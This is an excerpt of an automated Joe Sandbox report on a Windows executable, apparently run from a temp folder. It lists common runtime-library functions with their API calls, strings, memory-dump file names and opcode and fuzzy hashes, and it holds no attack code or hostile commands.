Opcode ID: 995f622ee0478ad80666a64d0f6f1b33d60a04ac0258514eced1de964909b684
Instruction ID: 4e606da4fd6987e2c895f91e764c4980d3f9336e722503e2b6d2a42d41b6dd1b
Opcode Fuzzy Hash: 995f622ee0478ad80666a64d0f6f1b33d60a04ac0258514eced1de964909b684
Instruction Fuzzy Hash: 37315F34F0C64386F658AB21B5513797291AF887A1F070235E5EE567F6DFBCB8818302

Function 00007FFEEE1D37A0 Relevance: 6.3, APIs: 5, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FFEEE1C2468,?,?,00000000,?,00000000,00007FFEEE1C2036), ref: 00007FFEEE1D37AF
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FFEEE1C2468,?,?,00000000,?,00000000,00007FFEEE1C2036), ref: 00007FFEEE1D37FE
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FFEEE1C2468,?,?,00000000,?,00000000,00007FFEEE1C2036), ref: 00007FFEEE1D3819
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FFEEE1C2468,?,?,00000000,?,00000000,00007FFEEE1C2036), ref: 00007FFEEE1D3831
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FFEEE1C2468,?,?,00000000,?,00000000,00007FFEEE1C2036), ref: 00007FFEEE1D389D

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: c2ae306a1fc25cde0675015cfd2c7e2ee1f2785b707fe40c3e176b6001e996c2
Instruction ID: bd33d521677dd88b6523317d90be717d250cb70d86b38197063207aa298c69eb
Opcode Fuzzy Hash: c2ae306a1fc25cde0675015cfd2c7e2ee1f2785b707fe40c3e176b6001e996c2
Instruction Fuzzy Hash: AF315D30F0C64386F614AB21B54537D3251AF887A1F070336E9EE566F6DFBCA8918342

Function 00007FFEEE1D3520 Relevance: 6.3, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D3534
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D3583
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D3599
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D35B1
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D361E

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 5c77dfd06bf0c4a08de7cbd3e0678428effb9ddff0ba386b0be6a990e184cb36
Instruction ID: 2180cd8f543f888cc0793593fa573e016bc6f05d4ef68aa7b65b31bb4617a6a3
Opcode Fuzzy Hash: 5c77dfd06bf0c4a08de7cbd3e0678428effb9ddff0ba386b0be6a990e184cb36
Instruction Fuzzy Hash: 25314130B0C64386F664AB25B54137962519F88791F070736D5EE567F6DFBCE9808302

Function 00007FFEEE1D3310 Relevance: 6.3, APIs: 5, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000001,00007FFEEE2660F5), ref: 00007FFEEE1D3324
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000001,00007FFEEE2660F5), ref: 00007FFEEE1D3373
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000001,00007FFEEE2660F5), ref: 00007FFEEE1D3389
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000001,00007FFEEE2660F5), ref: 00007FFEEE1D33A1
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000001,00007FFEEE2660F5), ref: 00007FFEEE1D340A

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 1ac66b635d249aedb6595ff3c920d5dc40e6242194dc6f8228f48c41243d32ff
Instruction ID: 18ada65797adfe6f9dc92bd4fb833edb6916fb72d63e96408e7df9752589b54e
Opcode Fuzzy Hash: 1ac66b635d249aedb6595ff3c920d5dc40e6242194dc6f8228f48c41243d32ff
Instruction Fuzzy Hash: 64316030F0C64386FA69AB24B55137962519F88BA1F070235E5EE167F6DFBCE8818342

Function 00007FFEEE1DF2D0 Relevance: 6.3, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF2F0
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF346
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF3BC
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF3D2
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF3EB

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 912060f8c2e11bf4a4245dfa8e8fe6ad5dfb5130a46c5078e16335f9b2efa0b3
Instruction ID: 59a0c9f78f23aa491afb98a90ab2ef62a986b2bf47d0f5cb5ad81138160c49fb
Opcode Fuzzy Hash: 912060f8c2e11bf4a4245dfa8e8fe6ad5dfb5130a46c5078e16335f9b2efa0b3
Instruction Fuzzy Hash: 5531B226A18B8691EA508F11F8843796754FB9CBD5F1B0236D9DE063B4DFBCE681C301

Function 00007FF7102DB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7102DB92F
WriteFile.KERNEL32 ref: 00007FF7102DBBF7
WriteFile.KERNEL32 ref: 00007FF7102DBC3D
GetLastError.KERNEL32 ref: 00007FF7102DBCF3

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
Instruction ID: 2a98f646f3c314e8f2e1ad36929f9eccd7b92f8040ef32d907b9c4db05e83e5e
Opcode Fuzzy Hash: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
Instruction Fuzzy Hash: 64D1F473B18E81C9E712DF65D4502AC7BB1FB447A8B944236CE5E57B99DE38E80AC310

Function 00007FF7102DC270 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102DC25B), ref: 00007FF7102DC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102DC25B), ref: 00007FF7102DC417

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction ID: 6582c0e9de946f9534ec54c12df7264c8b9fbfe730ba3644157abcde8752bdc7
Opcode Fuzzy Hash: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction Fuzzy Hash: 2291C873F08A5685F750EF65945027DAFA0BB04BA8FA44139DE0E67B84DE38F8498720

Function 00007FFEEE263B40 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FFEEE263CC2,?,?,?,?,00007FFEEE214EB5,?,?,?,00007FFEEE1DADB6,?,?,?), ref: 00007FFEEE263B7A
FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FFEEE263CC2,?,?,?,?,00007FFEEE214EB5,?,?,?,00007FFEEE1DADB6,?,?,?), ref: 00007FFEEE263BAB

Part of subcall function 00007FFEEE1DF850: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFEEE1D7C74,?,?,?,00007FFEEE1D78F7,?,?,?,00007FFEEE1DAC33,?,?,?,00007FFEEE1DADB6), ref: 00007FFEEE1DF85A
Part of subcall function 00007FFEEE1DF850: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFEEE1D7C74,?,?,?,00007FFEEE1D78F7,?,?,?,00007FFEEE1DAC33,?,?,?,00007FFEEE1DADB6), ref: 00007FFEEE1DF8A0

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFEEE263CC2,?,?,?,?,00007FFEEE214EB5,?,?,?,00007FFEEE1DADB6,?,?,?), ref: 00007FFEEE263BBF
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FFEEE263CC2,?,?,?,?,00007FFEEE214EB5,?,?,?,00007FFEEE1DADB6,?,?,?), ref: 00007FFEEE263BEE

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast$CriticalSection$BuffersEnterFileFlushLeave
String ID:
API String ID: 1312186065-0
Opcode ID: 4f2888ff7bbf60e021e831f350996abbc6d04b76299a57556fe12fb360717843
Instruction ID: 3af6d1af3d32dea44195d732adef7db25b25b8a73311b81a68539d21ae5e80dc
Opcode Fuzzy Hash: 4f2888ff7bbf60e021e831f350996abbc6d04b76299a57556fe12fb360717843
Instruction Fuzzy Hash: 7F219F72A24F8681DA10DF15F4942696361FB9CF85B464236DA8E47378DFBCE194C301

Function 00007FF7102C2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7102C2064
SetWindowLongPtrW.USER32 ref: 00007FF7102C2086
GetWindowLongPtrW.USER32 ref: 00007FF7102C20B0
InvalidateRect.USER32 ref: 00007FF7102C20D0

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction ID: 3953781e4aba4275edbd6fd67cd3e73a19c388bef7d006d2f8485dae59620a51
Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction Fuzzy Hash: 16110021E1894241F755A759F64527A9A51EF95BA0FC48032DE4D07B8ECD3DF4CD8520

Function 00007FF7102CC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7102CC35C
GetCurrentThreadId.KERNEL32 ref: 00007FF7102CC36A
GetCurrentProcessId.KERNEL32 ref: 00007FF7102CC376
QueryPerformanceCounter.KERNEL32 ref: 00007FF7102CC386

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: 6ba6c3ac0b642c85072146fdca1b7b62a33fa72c31c3cb467e4fd2455bcc4bc1
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 44117022B14F068AEB00DF60E8542B977A4FB59B68F840E35DE2D577A4DF7CE1988350

Function 00007FFEEE1DCC1C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFEEE1D2FE0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE232851), ref: 00007FFEEE1D2FEA
Part of subcall function 00007FFEEE1D2FE0: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE232851), ref: 00007FFEEE1D3030

GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,00000092,?,?,?,CCCCCCC338C48348,00007FFEEE1D013B), ref: 00007FFEEE1DCCC1
IsValidCodePage.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FFEEE1DCCDF

Strings

utf8, xrefs: 00007FFEEE215CF2

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 077269e3ce0ea29f6dee95bf8b04cfeeb839662aa7eba8c435895ef23497d673
Instruction ID: 3a2a37ca2a6a3a60afe3be460dc3c715898281ca62f9c39b0a87bddd633369d2
Opcode Fuzzy Hash: 077269e3ce0ea29f6dee95bf8b04cfeeb839662aa7eba8c435895ef23497d673
Instruction Fuzzy Hash: E9919172B0864381EB649F21E4507BA2694AF88B85F474432DECD577E1EFBCE985C342

Function 00007FFEEE1EAC90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FFEEE1EAF1B

Strings

!, xrefs: 00007FFEEE1EAF0B
fmod, xrefs: 00007FFEEE1EAEEC

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _handle_error
String ID: !$fmod
API String ID: 1757819995-3213614193
Opcode ID: a5046bec0b170f6f65a4cdd1cb73adc953bca75b89e3650b120db442c54fc02e
Instruction ID: dcbdbd3f4b6c022ef8071e5361f620ef0ac256faac5262b9d8007c3405b55f9c
Opcode Fuzzy Hash: a5046bec0b170f6f65a4cdd1cb73adc953bca75b89e3650b120db442c54fc02e
Instruction Fuzzy Hash: 0451B311C2DB858AE2635B71B0117B9B698AFE73C4F039333F99E315B1DBADA5834601

Function 00007FF7102E4E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102E0A70: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E0AA3

_get_daylight.LIBCMT ref: 00007FF7102E4F44
_get_daylight.LIBCMT ref: 00007FF7102E4F55

Strings

?, xrefs: 00007FF7102E4ED5

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
Instruction ID: e77e3916d363edac1704f1e1fe6974cc0d284bda638f8e80cde82d465aa19813
Opcode Fuzzy Hash: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
Instruction Fuzzy Hash: 9B411612A18A8246FB64AB2594017BAEF50EF80BB4F944235EF5C16BD5DF3CF4858710

Function 00007FF7102D832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D835E

Part of subcall function 00007FF7102D9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
Part of subcall function 00007FF7102D9C58: GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7102CBEC5), ref: 00007FF7102D837C

Strings

C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe, xrefs: 00007FF7102D836A

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
API String ID: 3580290477-898561748
Opcode ID: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction ID: 09cd026aee755dcbd4866e7def9b75b03ef453d24cfc354720125d677764a895
Opcode Fuzzy Hash: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction Fuzzy Hash: 57417033A08F5285E754FF25A4810BCAB94FB45BA0BD54039EA4E43B85DF7CF8898320

Function 00007FF7102DF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DF916

Part of subcall function 00007FF7102DE8C8: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7102DE908

Strings

., xrefs: 00007FF7102DF967
:, xrefs: 00007FF7102DF956

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentDirectory_invalid_parameter_noinfo
String ID: .$:
API String ID: 2020911589-4202072812
Opcode ID: ad5c876629fe8078e18385c4f1b2da22d3a52b0bd0772cdaead257d22d6ab4fb
Instruction ID: 4b78896f81df8fe9737094e202c50a500f7e12d1f99938baea5639263dfe29d9
Opcode Fuzzy Hash: ad5c876629fe8078e18385c4f1b2da22d3a52b0bd0772cdaead257d22d6ab4fb
Instruction Fuzzy Hash: DE414D23F08F5298FB51ABB198516FC6AB46F14768F940035DE4D67B89DF38F84A8324

Function 00007FF7102DBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7102DC05F
GetLastError.KERNEL32 ref: 00007FF7102DC081

Strings

U, xrefs: 00007FF7102DC00B

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
Instruction ID: c021985af972cfd90e085281a32192e84863a5a3c0197a81d1e7eea70c2a591b
Opcode Fuzzy Hash: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
Instruction Fuzzy Hash: 9141B423B18A85C5DB21AF25E8443AABB60FB987A4F904035EE4D87B98DF3CE445C710

Function 00007FFEEE2664F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99fileCOMMON

Download Yara Rule

APIs

WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFEEE2665FF
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE266624

Strings

U, xrefs: 00007FFEEE2665A8

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

